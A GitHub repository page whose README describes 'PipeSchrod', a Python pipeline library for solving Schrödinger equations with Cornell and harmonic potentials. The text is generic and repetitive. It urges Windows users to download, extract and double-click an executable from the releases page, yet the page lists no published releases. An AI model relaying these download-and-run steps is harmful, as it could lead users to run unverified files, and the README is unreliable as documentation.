Skip to content

Bodakd8551/PipeSchrod

Repository files navigation

⚛️ PipeSchrod - Solve quantum models with simple steps

Download PipeSchrod

🧭 What PipeSchrod does

PipeSchrod is a Python library for solving the Schrödinger equation with a simple pipeline flow. It helps you define a potential, choose a solver, and view the result.

It works with common models like:

  • Cornell potential
  • Harmonic potential

It also supports these solver types:

  • Matrix method
  • Numerov method

The project uses the >> operator to link each step in a clear order. That makes it easier to build a full quantum workflow without writing a lot of setup code.

📥 Download and install

Use this link to visit the release page and download PipeSchrod:

Go to PipeSchrod Releases

On Windows, follow these steps:

  1. Open the release page.
  2. Find the latest release at the top.
  3. Download the file that fits your system.
  4. Save the file to a folder you can find again.
  5. If the file is a zipped folder, right-click it and choose Extract All.
  6. Open the extracted folder.
  7. Run the main file shown in the release files.

If you use Python instead of a packaged file, install it in your project folder and run it from there.

🖥️ Windows setup

PipeSchrod is built to run on a standard Windows PC.

A typical setup looks like this:

  • Windows 10 or Windows 11
  • Python 3.10 or newer
  • Enough free space for the app and its data files
  • A modern screen for plotting results

If you plan to work with larger problems, a system with more memory will help.

🧩 How the pipeline works

PipeSchrod uses a step-by-step flow. Each part feeds the next part.

A basic pipeline can include:

  1. A potential model
  2. A solver
  3. A result view
  4. A plot or table of values

Example flow:

  • choose Cornell or Harmonic potential
  • connect it to Matrix or Numerov
  • solve for energy levels
  • view the wave function and energy output

The >> operator keeps this flow easy to read. It helps you move from one step to the next in a clear line.

🔬 Main features

  • Define quantum problems in a simple pipeline
  • Use the >> operator to connect steps
  • Solve the Schrödinger equation
  • Work with Cornell potential
  • Work with Harmonic potential
  • Use Matrix-based solving
  • Use Numerov-based solving
  • View results in a clear format
  • Plot wave functions and energy states
  • Fit common physics study tasks
  • Support quarkonium and particle model use cases

🪟 How to run on Windows

After you download the release:

  1. Open the folder that holds the files.
  2. Look for the app file or Python entry file.
  3. Double-click it if it is a Windows app.
  4. If it is a Python file, open Command Prompt in that folder.
  5. Run the file with Python.

A simple Python run may look like this:

python main.py

If the release includes a ready-to-run Windows file, use that file first. It is the easiest path for non-technical users.

🧪 Example use

A PipeSchrod workflow may look like this in plain form:

  • Start with a potential
  • Pass it to a solver
  • Get the energy levels
  • Plot the output

This makes it easier to work through a problem without building each part by hand.

📁 What you may see in the files

The release package may include:

  • a main app file
  • sample data
  • config files
  • plot output files
  • a readme file
  • license details

If you see sample scripts, they can help you learn the order of the steps.

🛠️ Common use cases

PipeSchrod fits tasks such as:

  • studying bound states
  • testing potential models
  • comparing solver methods
  • exploring energy eigenvalues
  • viewing radial wave functions
  • working on quarkonium models
  • learning the Schrödinger equation with code

📊 Solver options

Matrix solver

The Matrix solver turns the problem into a matrix form. It suits users who want a direct numerical result.

Numerov solver

The Numerov solver works well for one-dimensional wave problems. It is a common choice for smooth potentials and radial equations.

🎯 Potential models

Cornell potential

The Cornell model is often used in particle and quark studies. It combines a short-range and long-range part.

Harmonic potential

The Harmonic model is useful for simple bound systems. It gives a clean test case for study and comparison.

🔎 Tips for first use

  • Start with one simple model
  • Use one solver first
  • Check the output before changing settings
  • Keep your test case small
  • Save your plots and notes
  • Compare one run at a time

🧷 Basic workflow

  1. Download PipeSchrod from the release page.
  2. Open or extract the files.
  3. Run the app or Python entry file.
  4. Pick a potential model.
  5. Choose a solver.
  6. Solve the equation.
  7. View the result.
  8. Save the output if needed

📝 File name hints

If you are not sure which file to open, look for names like:

  • main.py
  • app.py
  • PipeSchrod.exe
  • run.py

If there are several files, start with the one that looks like the main entry point.

📌 Best results on Windows

For the smoothest start:

  • keep the release folder in a simple path
  • avoid folders with long names
  • do not move files after extraction
  • use the newest release
  • close extra apps if your system runs slowly

🔗 Download again

If you need the release page again, use this link:

Visit PipeSchrod Releases

About

Solve and visualize 1D Schrödinger and Salpeter equations in Python with a clean pipeline syntax for physics workflows

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages